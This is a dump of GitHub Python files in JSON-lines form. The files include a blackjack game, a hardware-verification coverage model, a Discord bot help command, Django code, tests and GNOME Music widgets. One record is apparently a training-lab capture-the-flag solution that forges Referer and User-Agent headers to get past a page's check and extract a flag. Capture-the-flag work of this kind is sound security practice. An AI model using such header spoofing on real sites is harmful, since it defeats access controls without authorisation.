self.mydeck.pop()\n\n def card_status(self, card):\n return (f'{card[0][0]} of {card[1]}')\n \n def print_hand(self, cards):\n myhand = '('\n for i in cards:\n myhand += f'{self.card_status(i)}, '\n return myhand + ')'\n \n def calc_score(self, cards):\n score = 0\n for i in cards:\n rank = i[0][0]\n score += int(i[0][1])\n if rank == 'A':\n print (\"Ace is 1 or 11\")\n if score > 21:\n print (\"Ace is 1\")\n score -= 10\n elif score == 21:\n print (\"Blackjack\")\n else:\n print (\"Ace is 11\")\n return int (score)\n \n def ace_in_the_hole(self, cards):\n for i in cards:\n if i[0][0] == 'A':\n return True\n return False\n\n\nmycards = Cards()\n\ncards_dealer = []\ncards_player = []\n\nmycards.print_hello()\n# mycards.print_deck()\n\nkeep_playing = True\nplaying = False\n\nwhile keep_playing == True:\n if playing == True:\n print (f'You have {str(len(cards_player))} cards {mycards.print_hand(cards_player)}, score = {mycards.calc_score(cards_player)}.')\n choice = input(f'hit or stay? (h/s) \\n')\n if choice == \"h\":\n newcard = mycards.deal_card()\n print(f'You drew {mycards.card_status(newcard)}.')\n cards_player.append(newcard)\n # print(f'You have {str(len(cards_player))} cards showing {cards_player}.')\n if mycards.calc_score(cards_player) > 21:\n print(\"BUST!\")\n keep_playing = False\n playing = False\n\n elif mycards.calc_score(cards_player) < 21:\n print(\"Your new score is \" + str(mycards.calc_score(cards_player)))\n\n elif mycards.calc_score(cards_player) == 21:\n print(\"Blackjack!\")\n keep_playing = False\n playing = False \n\n if len(cards_player) == 5:\n print(\"You win!\")\n keep_playing = False\n playing = False\n elif choice == \"s\":\n print(\"You stay\")\n keep_playing = False\n playing = False\n else:\n print(\"Invalid input\")\n else:\n\n choice = input(\"Do you want to play? (y/n)\")\n\n if choice == \"y\" and playing == False:\n print ('Dealing cards')\n playing = True\n cards_dealer.append(mycards.deal_card())\n cards_player.append(mycards.deal_card())\n cards_dealer.append(mycards.deal_card())\n cards_player.append(mycards.deal_card())\n # print (f'You have {str(len(cards_player))} cards showing {cards_player}.')\n elif choice == \"n\":\n keep_playing = False\n playing = False\n else:\n print(\"Invalid input\")\n\nwhile mycards.calc_score(cards_dealer) < 17:\n print (f'Dealer has {str(len(cards_dealer))} cards {mycards.print_hand(cards_dealer)}, score = {mycards.calc_score(cards_dealer)}.')\n\n newcard = mycards.deal_card()\n print(f'Dealer drew {mycards.card_status(newcard)}.')\n cards_dealer.append(newcard)\n dealer_score = mycards.calc_score(cards_dealer)\n if dealer_score > 21:\n print(\"DEALER BUST!\")\n keep_playing = False\n playing = False\n\n elif dealer_score < 21:\n print(\"Dealer's new score is \" + str(dealer_score))\n\n elif dealer_score == 21:\n print(\"DEALER Blackjack!\")\n keep_playing = False\n playing = False\n\ndealer_score = mycards.calc_score(cards_dealer)\nplayer_score = mycards.calc_score(cards_player)\n\nif dealer_score > player_score:\n if dealer_score > 21:\n print(\"Dealer BUST!\")\n if player_score == 21:\n print(\"Player wins! Blackjack!\")\n elif player_score < 21:\n print(\"Player wins!\")\n elif dealer_score <= 21:\n print(\"Dealer wins!\")\n else:\n print (\"Not possible -1 \")\n\nelif dealer_score == player_score:\n if mycards.ace_in_the_hole(cards_dealer) == True:\n print(\"Dealer wins!\")\n elif mycards.ace_in_the_hole(cards_player) == True:\n print(\"Player wins!\")\n else:\n print(\"Push\")\n\nelif dealer_score < player_score:\n if player_score > 21:\n print(\"Player BUST!\")\n if dealer_score == 21:\n print(\"Dealer wins! Blackjack!\")\n elif dealer_score < 21:\n print(\"Dealer wins!\")\n elif player_score <= 21:\n print(\"Player wins!\")\n else:\n print (\"Not possible -2 \")\n print(\"You win!\")\n","repo_name":"marcoman/experimental-100","sub_path":"11-20/11/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"392985741","text":"\n\n# Created on Mar 20, 2020\n#\n# @author: ballance\n\nfrom vsc.model.coverpoint_bin_model_base import CoverpointBinModelBase\nfrom vsc.model.expr_bin_model import ExprBinModel\nfrom vsc.model.expr_literal_model import ExprLiteralModel\nfrom vsc.model.bin_expr_type import BinExprType\n\nclass CoverpointBinSingleRangeModel(CoverpointBinModelBase):\n \n def __init__(self, \n name, \n target_val_low : int, \n target_val_high : int):\n super().__init__(name)\n self.target_val_low = target_val_low\n self.target_val_high = target_val_high\n self.n_bins = 1\n \n def finalize(self, bin_idx_base:int)->int:\n super().finalize(bin_idx_base)\n return 1\n \n def get_bin_expr(self, bin_idx):\n \"\"\"Builds expressions to represent the values in this bin\"\"\"\n expr = ExprBinModel(\n ExprBinModel(\n self.cp.target,\n BinExprType.Ge,\n ExprLiteralModel(self.target_val_low, False, 32)),\n BinExprType.And,\n ExprBinModel(\n self.cp.target,\n BinExprType.Le,\n ExprLiteralModel(self.target_val_high, False, 32))\n )\n return expr \n \n def get_bin_name(self, bin_idx):\n return self.name \n \n def sample(self):\n val = int(self.cp.get_val())\n if val >= self.target_val_low and val <= self.target_val_high:\n self.hit_bin_idx = 0\n self.cp.coverage_ev(\n self.bin_idx_base,\n self.bin_type)\n else:\n self.hit_bin_idx = -1\n \n return self.hit_bin_idx\n \n def accept(self, v):\n v.visit_coverpoint_bin_single_range(self)\n \n def equals(self, oth)->bool:\n eq = isinstance(oth, CoverpointBinSingleRangeModel)\n \n if eq:\n eq &= (self.target_val_low == oth.target_val_low)\n eq &= (self.target_val_high == oth.target_val_high)\n \n return eq\n \n def clone(self)->'CoverpointBinSingleRangeModel':\n ret = CoverpointBinSingleRangeModel(\n self.name, \n self.target_val_low,\n self.target_val_high)\n ret.srcinfo_decl = None if self.srcinfo_decl is None else self.srcinfo_decl.clone()\n \n return ret\n \n ","repo_name":"fvutils/pyvsc","sub_path":"src/vsc/model/coverpoint_bin_single_range_model.py","file_name":"coverpoint_bin_single_range_model.py","file_ext":"py","file_size_in_byte":2381,"program_lang":"python","lang":"en","doc_type":"code","stars":88,"dataset":"github-code","pt":"44"} +{"seq_id":"7461418045","text":"import requests\nimport re\nimport os\n\nip = os.getenv('darkly_ip')\nbaseurl = f'http://{ip}/'\n\nif __name__ == '__main__':\n r = requests.get(baseurl + '/index.php?page=e43ad1fdc54babe674da7c7b8f0127bde61de3fbe01def7d00f151c2fcca6d1c', headers={\n 'Referer': 'https://www.nsa.gov/',\n 'User-Agent': 'ft_bornToSec'\n })\n m = re.findall('The flag is : ([a-z0-9]+)<', r.text)\n print(*m)\n\n","repo_name":"Sacrimento/Darkly","sub_path":"header/Ressources/get_flag.py","file_name":"get_flag.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"28592196563","text":"from discord import Embed\nfrom discord.ext import commands\nfrom utils import split_every, not_self, module_help, error_message\n\nclass Help(commands.Cog):\n\n # Config #\n \n modules_per_page = 6\n \n # Config End #\n\n def __init__(self):\n self.command = self.prefix + 'help'\n def __asinit__(self):\n self.bot_mention = '<@!{}>'.format(self.bot.user.id)\n self.modules_dict = dict(self.bot.cogs.items())\n self.modules_dict['Help'] = self\n self.modules = split_every(list(self.modules_dict.keys()), self.modules_per_page)\n self.module_pages = len(self.modules)\n\n def help_message(self):\n return \"\"\"Provides help messages for all active modules.\\n\n``{0} (page)``\n \\> View more modules.\n``{0} (module)``\n \\> Provides help for currently running modules.\n\"\"\".format(self.command)\n\n @commands.Cog.listener()\n async def on_message(self, message):\n if message.content == self.bot_mention:\n await self.help_menu(message.channel, 1)\n\n @commands.command()\n @not_self()\n async def help(self, ctx, *args):\n try:\n message = ctx.message\n channel = message.channel\n if not args:\n return await self.help_menu(channel, 1)\n arg = '_'.join(args)\n if arg.isdigit():\n return await self.help_menu(channel, int(arg))\n else:\n return await self.help_module(channel, arg)\n except Exception as e:\n print(e)\n\n async def help_menu(self, channel, number):\n if number > 0:\n number -= 1\n if number >= self.module_pages:\n return await error_message(channel, \"The number you have entered is too big, it must be at most {}\".format(self.module_pages))\n embed = Embed(description=\"**Modules List - Page {0} out of {1}**\\n⠀\".format(number + 1, self.module_pages))\n for module in self.modules[number]:\n obj = self.modules_dict[module]\n try:\n desc = obj.help_message()\n except:\n desc = None\n if not desc:\n desc = \"This module doesn't have a help message.\"\n if '\\n' in desc:\n desc = desc.split('\\n', 1)[0]\n embed.add_field(name=module.replace('_', ' ') + \" Module\", value=desc, inline=True)\n embed.set_footer(text=\"⠀\\nType {0} (module) for more information on a Module\\nType {0} (page) to see more Modules\".format(self.command))\n await channel.send(embed=embed)\n async def help_module(self, channel, module_name):\n try:\n if module_name.endswith('_module'):\n module_name = module_name.rsplit('_module', 1)[0]\n for module_obj_name, module_obj in self.modules_dict.items():\n if module_obj_name.lower() == module_name:\n return await module_help(channel, module_obj)\n await channel.send(\"Module not found\")\n except Exception as e:\n print(e)","repo_name":"Soumeh-zz/Principality","sub_path":"Help.py","file_name":"Help.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"30920125428","text":"import turtle\n\n__author__=\"Noah Abdelguerfi\"\n__date__ =\"$Dec 27, 2014 10:57:10 PM$\"\n\n\"\"\"\n# method draws a square incriments heading\n# continues until it reaches 360 degrees\n\"\"\"\n\ndef draw_circle_with_squares():\n degrees = 0\n \n squareCircle = turtle.Turtle()\n squareCircle.shape(\"turtle\")\n squareCircle.color(\"green\")\n squareCircle.speed(100)\n \n while degrees != 360:\n\n for i in range(0,4): \n squareCircle.forward(100)\n squareCircle.right(90)\n \n degrees += 1\n squareCircle.setheading(degrees)\n\n\"\"\"\n#create a screen \n#set backround color to red\n#call methods: draw_circle_with_squares\n\"\"\" \ndef main():\n \n window = turtle.Screen()\n window.bgcolor(\"red\")\n draw_circle_with_squares()\n\nmain()\n\n \n \n","repo_name":"noahgithubpractice/PracticePrograms","sub_path":"python programs/DrawShapes/src/DrawShapes/CircleSquare.py","file_name":"CircleSquare.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"23622435006","text":"from rest_framework import serializers\nfrom api_user.models import UserModel\n\nclass UserModelSerializer(serializers.ModelSerializer):\n class Meta:\n model = UserModel\n fields = ('user_id',\n 'user_pw',\n 'user_nm',\n 'user_mobile_no',\n 'user_ty',\n 'device_token',\n 'cre_dt',\n 'cre_id',\n 'upt_dt',\n 'upt_id')\n","repo_name":"kwonmingwan/kinpec_redis","sub_path":"api_user/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"73074278854","text":"import datetime\nfrom decimal import Decimal\nfrom unittest import mock\nfrom unittest.mock import Mock, call\n\nimport asynctest\nimport pytest\nfrom celery.exceptions import MaxRetriesExceededError, Retry\nfrom freezegun import freeze_time\n\nfrom project.apps.indicators.mms.tasks import (\n task_beat_select_pairs_to_mms,\n task_calculate_simple_moving_average\n)\nfrom project.core.locks import LockActiveError\nfrom project.services.candles.schemas import CandleSchema\n\n\nclass TestTaskCalculateSimpleMovingAverage:\n\n @pytest.fixture()\n def mock_return_get_candles(self):\n return [\n CandleSchema(\n timestamp=1622689200,\n open=Decimal('190806.7413400000'),\n close=Decimal('198499.9795800000'),\n high=Decimal('198542.0000000000'),\n low=Decimal('190000.0000000000'),\n volume=Decimal('72.5853810900')\n )\n for _ in range(200)\n ]\n\n @pytest.fixture()\n def mock_get_candles(self, mock_return_get_candles):\n with asynctest.patch(\n 'project.apps.indicators.mms.tasks.'\n 'calculate_simple_moving_average_by_candles'\n ) as mock_get_candles:\n mock_get_candles.return_value = mock_return_get_candles\n yield mock_get_candles\n\n @pytest.fixture()\n def mock_logger(self):\n with mock.patch(\n 'project.apps.indicators.mms.tasks.logger'\n ) as mock_logger:\n yield mock_logger\n\n @pytest.fixture\n def mock_cache_lock(self):\n with mock.patch('project.apps.indicators.mms.tasks.CacheLock') as lock:\n yield lock\n\n def test_should_validate_if_a_task_was_successfully_executed(\n self,\n mock_logger,\n mock_get_candles,\n mock_cache_lock,\n ):\n pair = 'BRLBTC'\n precision = '1d'\n datetime_started = datetime.datetime(2021, 6, 6, 23, 59).isoformat()\n\n task_calculate_simple_moving_average(\n pair, precision, datetime_started\n )\n\n mock_get_candles.assert_awaited_once_with(\n pair='BRLBTC',\n precision='1d',\n timestamp=1622937599,\n from_timestamp=1605657600,\n to_timestamp=1622937599,\n )\n mock_cache_lock.assert_called_once_with(\n key='task_calculate_simple_moving_average:BRLBTC-1d-2021-06-06',\n cache_alias='lock',\n expire=300,\n delete_on_exit=True\n )\n mock_logger.assert_has_calls([\n call.info(\n 'Starting simple moving average indicator calculation',\n pair='BRLBTC',\n precision='1d',\n datetime_started='2021-06-06T23:59:00',\n task='task_calculate_simple_moving_average'\n ),\n call.info(\n 'Successfully calculated simple moving average',\n pair='BRLBTC',\n precision='1d',\n datetime_started='2021-06-06T23:59:00',\n task='task_calculate_simple_moving_average'\n ),\n ])\n\n def test_should_validate_cache_locked_exception(\n self,\n mock_logger,\n mock_get_candles,\n mock_cache_lock,\n ):\n pair = 'BRLBTC'\n precision = '1d'\n datetime_started = datetime.datetime(2021, 6, 6, 23, 59).isoformat()\n mock_cache_lock.side_effect = LockActiveError\n\n task_calculate_simple_moving_average(\n pair, precision, datetime_started\n )\n\n mock_logger.assert_has_calls([\n call.info(\n 'Processing not completed as there is already another one '\n 'being processed',\n pair='BRLBTC',\n precision='1d',\n datetime_started='2021-06-06T23:59:00',\n task='task_calculate_simple_moving_average'\n )\n ])\n\n @mock.patch(\n 'project.apps.indicators.mms.tasks.'\n 'task_calculate_simple_moving_average.retry'\n )\n @freeze_time('2021-6-6 23:00')\n def test_should_validate_the_retry_when_an_exception_occurs(\n self,\n task_retry,\n mock_logger,\n mock_get_candles,\n mock_cache_lock,\n ):\n task_retry.side_effect = Retry\n mock_cache_lock.side_effect = Exception\n\n pair = 'BRLBTC'\n precision = '1d'\n datetime_started = datetime.datetime(2021, 6, 6, 23, 59).isoformat()\n\n with pytest.raises(Retry):\n task_calculate_simple_moving_average(\n pair, precision, datetime_started\n )\n\n mock_logger.assert_has_calls([\n call.error(\n 'Error calculating simple moving average',\n pair='BRLBTC',\n precision='1d',\n datetime_started='2021-06-06T23:59:00',\n task='task_calculate_simple_moving_average',\n eta='2021-06-06T23:30:00+00:00',\n exc_info=True\n )\n ])\n\n @freeze_time('2021-6-6 23:55')\n def test_should_validate_that_it_will_no_longer_retry_when_the_date_is_the_next_day( # noqa\n self,\n mock_logger,\n mock_get_candles,\n mock_cache_lock,\n ):\n mock_cache_lock.side_effect = Exception\n\n pair = 'BRLBTC'\n precision = '1d'\n datetime_started = datetime.datetime(2021, 6, 6, 23, 59).isoformat()\n\n task_calculate_simple_moving_average(\n pair, precision, datetime_started\n )\n\n mock_logger.assert_has_calls([\n call.critical(\n 'Could not calculate simple moving average',\n pair='BRLBTC',\n precision='1d',\n datetime_started='2021-06-06T23:59:00',\n task='task_calculate_simple_moving_average',\n eta='2021-06-07T00:25:00+00:00',\n exc_info=True\n )\n ])\n\n\nclass TestTaskBeatSelectPairsToMms:\n\n @pytest.fixture\n def mock_cache_lock(self):\n with mock.patch('project.apps.indicators.mms.tasks.CacheLock') as lock:\n yield lock\n\n @pytest.fixture()\n def mock_logger(self):\n with mock.patch(\n 'project.apps.indicators.mms.tasks.logger'\n ) as mock_logger:\n yield mock_logger\n\n @pytest.fixture\n def mock_task_calculate(self):\n with mock.patch(\n 'project.apps.indicators.mms.tasks.task_calculate_simple_moving_average' # noqa\n ) as task_mock:\n yield task_mock\n\n @freeze_time('2021-6-6 15:00')\n @mock.patch('project.apps.indicators.mms.tasks.random')\n def test_should_validate_if_a_task_was_successfully_executed(\n self,\n mock_random,\n mock_logger,\n mock_task_calculate,\n mock_cache_lock,\n ):\n mock_randint = Mock()\n mock_randint.return_value = 30\n mock_random.randint = mock_randint\n\n task_beat_select_pairs_to_mms()\n\n assert mock_task_calculate.apply_async.call_count == 2\n assert mock_cache_lock.call_count == 2\n mock_logger.info.assert_called_once_with(\n 'Request to calculate the simple moving average of pairs '\n 'successfully performed',\n task='task_beat_select_pairs_to_mms',\n datetime_started='2021-06-06T15:00:00+00:00',\n precision='1d',\n )\n\n def test_should_validate_cache_locked_exception(\n self,\n mock_task_calculate,\n mock_cache_lock,\n ):\n mock_cache_lock.side_effect = LockActiveError\n task_beat_select_pairs_to_mms()\n mock_task_calculate.assert_not_called()\n\n @mock.patch(\n 'project.apps.indicators.mms.tasks.task_beat_select_pairs_to_mms.retry'\n )\n @freeze_time('2021-6-6 15:00')\n def test_should_validate_the_retry_when_an_exception_occurs(\n self,\n mock_retry,\n mock_task_calculate,\n mock_cache_lock,\n mock_logger,\n ):\n mock_retry.side_effect = Retry\n mock_task_calculate.apply_async.side_effect = Exception\n\n with pytest.raises(Retry):\n task_beat_select_pairs_to_mms()\n\n assert call().__enter__().delete_cache() in mock_cache_lock.mock_calls\n mock_logger.error.assert_called_once_with(\n 'Error selecting pairs for calculate MMS',\n task='task_beat_select_pairs_to_mms',\n datetime_started='2021-06-06T15:00:00+00:00',\n precision='1d',\n exc_info=True\n )\n\n @mock.patch(\n 'project.apps.indicators.mms.tasks.task_beat_select_pairs_to_mms.retry'\n )\n @freeze_time('2021-6-6 15:00')\n def test_should_validate_when_it_exceeds_the_maximum_retries(\n self,\n mock_retry,\n mock_task_calculate,\n mock_cache_lock,\n mock_logger,\n ):\n mock_retry.side_effect = MaxRetriesExceededError\n mock_task_calculate.apply_async.side_effect = Exception\n\n task_beat_select_pairs_to_mms()\n\n assert call().__enter__().delete_cache() in mock_cache_lock.mock_calls\n mock_logger.error.assert_called_once_with(\n 'Error selecting pairs for calculate MMS',\n task='task_beat_select_pairs_to_mms',\n datetime_started='2021-06-06T15:00:00+00:00',\n precision='1d',\n exc_info=True\n )\n mock_logger.critical.assert_called_once_with(\n 'Max retries exceeded when selecting pairs for calculate MMS',\n task='task_beat_select_pairs_to_mms',\n datetime_started='2021-06-06T15:00:00+00:00',\n precision='1d',\n exc_info=True\n )\n","repo_name":"duducp/django-mercado-biticoin-mms","sub_path":"src/project/apps/indicators/mms/tests/test_tasks.py","file_name":"test_tasks.py","file_ext":"py","file_size_in_byte":9672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"28120039695","text":"import re\nfrom datetime import datetime\nfrom datetime import timedelta\n\na = \"2020-07-24T10:59:00-06:00\"\nproductTime = datetime.fromisoformat(a)\n\nnowTime = datetime.now().astimezone().replace(microsecond=0)\n\nprint(productTime)\nprint(nowTime)\n\nif productTime > nowTime:\n\tprint(\"yey\")\n","repo_name":"vincentwimmer/Python-Bits-and-Bytes","sub_path":"String-To-Time-And-Compare.py","file_name":"String-To-Time-And-Compare.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"44"} +{"seq_id":"28789301021","text":"from django.conf.urls import patterns, url, include\nfrom rest_framework.routers import DefaultRouter\nfrom django.contrib import admin\n\nfrom api.bookingMana.views import MyBookingDetailViewSet, MyBookingViewSet, BookingGolfcourseViewSet, BookingUpdateViewSet, BookingReportViewSet,GetTeetimes, HoldTeetimes, BookingView, BookedTeeTimeViewSet, BookedPartnerViewSet, CheckPriceView, BookingSettingViewSet, BookingCancellationViewSet, ReportViewSet, \\\n\t\t\t\t\t\t\t\tBookingGCViewSet, BookingSuccessViewSet, CancelReportViewSet,PaymentNotify, AutoCheckPayment, BookingRequest\nfrom django.conf import settings\n\nadmin.autodiscover()\n\nrouter = DefaultRouter()\n\nrouter.register('booking/teetime', BookedTeeTimeViewSet, base_name='teetime')\nrouter.register('booking/partner', BookedPartnerViewSet)\nrouter.register(r'booking/setting', BookingSettingViewSet)\n\nurlpatterns = patterns('',\n url(r'', include(router.urls)),\n url(r'^booking/$', GetTeetimes.as_view()),\n url(r'success-booking/(?P[^/]+)/', BookingSuccessViewSet.as_view()),\n url(r'async-payment/', AutoCheckPayment.as_view()),\n url(r'^comission/$', ReportViewSet.as_view()),\n url(r'^cancelreport/$', CancelReportViewSet.as_view()),\n url(r'^my-booking/$', MyBookingViewSet.as_view()),\n url(r'my-booking/(?P[^/]+)/', MyBookingDetailViewSet.as_view()),\n url(r'^booking/hold$', HoldTeetimes.as_view()),\n url(r'^booking/golfcourse', BookingGolfcourseViewSet.as_view()),\n url(r'^booking/report$', BookingReportViewSet.as_view()),\n url(r'^booking/gcadmin$', BookingGCViewSet.as_view()),\n url(r'^booking/update', BookingUpdateViewSet.as_view()),\n # url(r'^booking/reset$', BookingResetViewSet.as_view()),\n url(r'^booking/payment-notify/$', PaymentNotify.as_view()),\n url(r'^booking/payment/$', BookingView.as_view()),\n url(r'^booking/price/$', CheckPriceView.as_view()),\n url(r'^bookingrequest/(?P[^/]+)/', BookingRequest.as_view()),\n url(r'cancel-teetime/(?P[^/]+)/', BookingCancellationViewSet.as_view()))\ncheck_voucher = patterns('', url(r'^booking/check-voucher$', 'api.bookingMana.views.check_valid_voucher'))\nget_gc24_price = patterns('', url(r'^booking/get-gc24price$', 'api.bookingMana.views.get_gc24_price'))\nrequest_invoice = patterns('', url(r'^booking/invoice$', 'api.bookingMana.views.request_invoice'))\nsend_thankyou_email = patterns('', url(r'^booking/thankyou$', 'api.bookingMana.views.send_after_booking_email'))\nupdate_booking_note = patterns('', url(r'^booking/note$', 'api.bookingMana.views.update_booking_note'))\nurlpatterns += check_voucher\nurlpatterns += get_gc24_price\nurlpatterns += request_invoice\nurlpatterns += send_thankyou_email\nurlpatterns += patterns('',\n url(r'^media/qr_codes/(?P.*)$',\n 'django.views.static.serve',\n {'document_root': settings.MEDIA_ROOT + 'qr_codes/', }),\n )","repo_name":"minhdo6487/api-proto","sub_path":"api/bookingMana/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"42315121353","text":"from enum import IntEnum\nfrom gettext import gettext as _\nfrom gi.repository import GLib, GObject, Gtk\n\nfrom gnomemusic import log\n\n\nclass NotificationsPopup(Gtk.Revealer):\n \"\"\"Display notification messages as popups\n\n There are two types of messages:\n - loading notification\n - playlist or song deletion\n Messages are arranged under each other\n \"\"\"\n\n __gtype_name__ = \"NotificationsPopup\"\n\n def __repr__(self):\n return ''\n\n @log\n def __init__(self):\n super().__init__()\n\n self._setup_view()\n\n @log\n def _setup_view(self):\n frame = Gtk.Frame()\n frame.get_style_context().add_class('app-notification')\n self.add(frame)\n\n self._grid = Gtk.Grid(\n row_spacing=6, orientation=Gtk.Orientation.VERTICAL)\n frame.add(self._grid)\n\n self._loading_notification = LoadingNotification()\n self._loading_notification.connect('visible', self._set_visibility)\n self._loading_notification.connect('invisible', self._set_visibility)\n self._grid.add(self._loading_notification)\n\n self.show_all()\n self._loading_notification.hide()\n\n @log\n def _hide_notifications(self, notification, remove):\n if remove:\n self._grid.remove(notification)\n self._loading_notification.hide()\n self.hide()\n\n @log\n def _set_visibility(self, notification, remove=False):\n \"\"\"Display or hide Notifications Popup.\n\n Popup is displayed if a loading is active or if a playlist\n deletion is in progress.\n \"\"\"\n invisible = ((self._loading_notification._counter == 0)\n and (len(self._grid.get_children()) <= 2))\n\n if not invisible:\n if remove:\n self._grid.remove(notification)\n self.show()\n else:\n # notification has to be removed from grid once unreveal is\n # finished. Otherwise, an empty grid will be unrevealed.\n duration = self.get_transition_duration()\n GLib.timeout_add(\n duration + 100, self._hide_notifications, notification, remove)\n self.set_reveal_child(not invisible)\n\n @log\n def pop_loading(self):\n \"\"\"Decrease loading notification counter.\n\n If it reaches zero, the notification is withdrawn.\n \"\"\"\n self._loading_notification.pop()\n\n @log\n def push_loading(self):\n \"\"\"Increase loading notification counter.\n\n If no notification is visible, start loading notification.\n \"\"\"\n self._loading_notification.push()\n\n @log\n def add_notification(self, notification):\n \"\"\"Display a new notification\n\n :param notification: notification to display\n \"\"\"\n self._grid.add(notification)\n self.show()\n self.set_reveal_child(True)\n\n @log\n def remove_notification(self, notification):\n \"\"\"Removes notification.\n\n :param notification: notification to remove\n \"\"\"\n self._set_visibility(notification, True)\n\n @log\n def terminate_pending(self):\n \"\"\"Terminate all pending playlists notifications\"\"\"\n children = self._grid.get_children()\n if len(children) > 1:\n for notification in children[:-1]:\n notification._finish_deletion()\n\n\nclass LoadingNotification(Gtk.Grid):\n \"\"\"LoadingNotification displays a loading notification message\n\n It can be triggered by different all main views. Message is\n displayed as long as at least one loading operation is in progress.\n \"\"\"\n\n __gsignals__ = {\n 'visible': (GObject.SignalFlags.RUN_FIRST, None, ()),\n 'invisible': (GObject.SignalFlags.RUN_FIRST, None, ())\n }\n\n def __repr__(self):\n return ''\n\n @log\n def __init__(self):\n super().__init__(column_spacing=18)\n self._counter = 0\n self._timeout_id = 0\n\n spinner = Gtk.Spinner()\n spinner.start()\n self.add(spinner)\n\n label = Gtk.Label(\n label=_(\"Loading\"), halign=Gtk.Align.START, hexpand=True)\n self.add(label)\n self.show_all()\n\n @log\n def pop(self):\n \"\"\"Decrease the counter. Hide notification if it reaches 0.\"\"\"\n self._counter = self._counter - 1\n\n if self._counter == 0:\n # Stop the timeout if necessary\n if self._timeout_id > 0:\n if not self.is_visible():\n GLib.source_remove(self._timeout_id)\n self._timeout_id = 0\n self.emit('invisible')\n\n @log\n def push(self):\n \"\"\"Increase the counter. Start notification if necessary.\"\"\"\n def callback():\n self.show_all()\n self.emit('visible')\n\n if self._counter == 0:\n # Only show the notification after a small delay, thus\n # add a timeout. 500ms feels good enough.\n self._timeout_id = GLib.timeout_add(500, callback)\n\n self._counter = self._counter + 1\n\n\nclass PlaylistNotification(Gtk.Grid):\n \"\"\"Show a notification on playlist or song deletion.\n\n It also provides an option to undo removal. Notification is added\n to the NotificationsPopup.\n \"\"\"\n\n class Type(IntEnum):\n \"\"\"Enum for Playlists Notifications\"\"\"\n PLAYLIST = 0\n SONG = 1\n\n def __repr__(self):\n return ''\n\n @log\n def __init__(\n self, notifications_popup, coremodel, type_, playlist,\n position=None, coresong=None):\n \"\"\"Creates a playlist deletion notification popup (song or playlist)\n\n :param GtkRevealer: notifications_popup: the popup object\n :param CoreModel: core model\n :param type_: NotificationType (song or playlist)\n :param Playlist playlist: playlist\n :param int position: position of the object to delete\n :param object coresong: CoreSong for song deletion\n \"\"\"\n super().__init__(column_spacing=18)\n self._notifications_popup = notifications_popup\n self._coremodel = coremodel\n self.type_ = type_\n self._playlist = playlist\n self._position = position\n self._coresong = coresong\n\n message = self._create_notification_message()\n self._label = Gtk.Label(\n label=message, halign=Gtk.Align.START, hexpand=True)\n self.add(self._label)\n\n undo_button = Gtk.Button.new_with_mnemonic(_(\"_Undo\"))\n undo_button.connect(\"clicked\", self._undo_deletion)\n self.add(undo_button)\n self.show_all()\n\n if self.type_ == PlaylistNotification.Type.PLAYLIST:\n self._coremodel.stage_playlist_deletion(self._playlist)\n else:\n playlist.stage_song_deletion(self._coresong, position)\n\n self._timeout_id = GLib.timeout_add_seconds(5, self._finish_deletion)\n self._notifications_popup.add_notification(self)\n\n def _create_notification_message(self):\n if self.type_ == PlaylistNotification.Type.PLAYLIST:\n msg = _(\"Playlist {} removed\".format(self._playlist.props.title))\n else:\n playlist_title = self._playlist.props.title\n song_title = self._coresong.props.title\n msg = _(\"{} removed from {}\".format(\n song_title, playlist_title))\n\n return msg\n\n @log\n def _undo_deletion(self, widget_):\n \"\"\"Undo deletion and remove notification\"\"\"\n if self._timeout_id > 0:\n GLib.source_remove(self._timeout_id)\n self._timeout_id = 0\n\n self._notifications_popup.remove_notification(self)\n if self.type_ == PlaylistNotification.Type.PLAYLIST:\n self._coremodel.finish_playlist_deletion(self._playlist, False)\n else:\n self._playlist.undo_pending_song_deletion(\n self._coresong, self._position)\n\n def _finish_deletion(self):\n self._notifications_popup.remove_notification(self)\n if self.type_ == PlaylistNotification.Type.PLAYLIST:\n self._coremodel.finish_playlist_deletion(self._playlist, True)\n else:\n self._playlist.finish_song_deletion(self._coresong)\n","repo_name":"Honza0297/test","sub_path":"gnomemusic/widgets/notificationspopup.py","file_name":"notificationspopup.py","file_ext":"py","file_size_in_byte":8219,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"35330789305","text":"# coding: utf-8\nimport sys\nimport unittest\n\nfrom ffgetter.value_object.UserId import UserId\n\n\nclass TestUserId(unittest.TestCase):\n def test_UserId(self):\n id_num = 12345678\n user_id = UserId(id_num)\n user_id = UserId(0)\n\n with self.assertRaises(TypeError):\n user_id = UserId(\"12345678\")\n with self.assertRaises(ValueError):\n user_id = UserId(-1)\n\n def test_id_num(self):\n id_num = 12345678\n user_id = UserId(id_num)\n self.assertTrue(isinstance(user_id.id, int))\n self.assertEqual(id_num, user_id.id)\n self.assertTrue(isinstance(user_id.id_str, str))\n self.assertEqual(str(id_num), user_id.id_str)\n\n\nif __name__ == \"__main__\":\n if sys.argv:\n del sys.argv[1:]\n unittest.main(warnings=\"ignore\")\n","repo_name":"shift4869/FFGetter","sub_path":"tests/value_object/Test_UserId.py","file_name":"Test_UserId.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"16919692073","text":"try:\n\timport tkinter as tk\n\tfrom tkinter import ttk\nexcept ImportError:\n\timport Tkinter as tk\n\timport ttk\n\nfrom tkcalendar import 